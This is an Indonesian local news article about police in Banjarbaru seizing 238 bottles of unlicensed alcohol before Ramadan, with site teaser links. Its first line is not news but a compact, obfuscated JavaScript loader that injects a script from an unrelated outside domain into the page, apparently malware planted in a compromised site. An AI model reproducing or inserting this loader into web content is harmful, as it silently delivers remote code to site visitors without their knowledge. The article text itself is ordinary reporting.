(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Menjelang bulan suci Ramadhan, Polsek Liang Anggang berhasil mengamankan minuman keras (Miras) sebanyak 238 botol.
Operasi menyasar Pondok John di Jalan Karang Rejo, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Banjarbaru, Selasa (29/3/2022) pukul 22.30 Wita.
Kapolsek Liang Anggang AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aiptu Kardi Gunadi mengatakan, ratusan miras itu dimiliki FL (42) yang menyimpan 238 botol Miras berbagai macam merek.
“Penindakan penjualan Miras tanpa izin sesui Pasal 8 ayat 1 Perda Kota Banjarbaru nomor 5 tahun 2006,” ujar Aiptu Kardi Gunadi kepada Kanalkalimantan.com, Rabu (30/3/2022) siang.
Baca juga : 36 Tersangka Operasi Antik Intan 2022 Polres Banjar
Giat Cipta Kondisi menjelang bulan suci Ramadhan yang dilakukan Unit Gabungan Polsek Liang Anggang dipimpin langsung Kapolsek Liang Anggang AKP Yuda Kumoro Pardede.
Dijelaskan Kasi Humas, saat dilakukan penggeledahan di Pondok John petugas berhasil mendapati miras tanpa izin.
Barang bukti yang berhasil diamankan dari tangan pelaku berupa 22 kaleng bir hitam guinnes, 22 botol bir prost pilsener, 21 botol whisky mansion jumbo, 12 botol topi miring vodka, 21 botol jack true liquer, dan 11 botol anggur putih.
Kemudian 10 botol anggur merah balinese, 79 botol anggur merah, 7 botol newport revolution kuning, 8 botol newport passion blue, 11 kaleng bir prost, 9 botol mc donnald vodka mix dan 5 botol ice land vodka.
Baca juga : Lafal dan Cara Niat Puasa Ramadhan Sebulan Penuh
Tersangka bersama barang bukti diamankan di Mapolsek Liang Anggang guna proses lebih lanjut.
Masih kata Kasi Humas Polsek Liang Anggang dalam menciptakan suasana kondusif selama bulan Ramadhan, petugas terus melakukan penindakan terhadap penjualan miras di wilayah hukum Polsek Liang Anggang
“Kita akan melakukan penindakan penjualan miras di wilayah hukum Polsek Liang Anggang selama menjelang bulan suci Ramadhan guna memberikan rasa aman dan nyaman, serta kekhusyukan kepada masyarakat selama bulan puasa, dan merupakan perintah langsung dari Kapolres,” tandasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.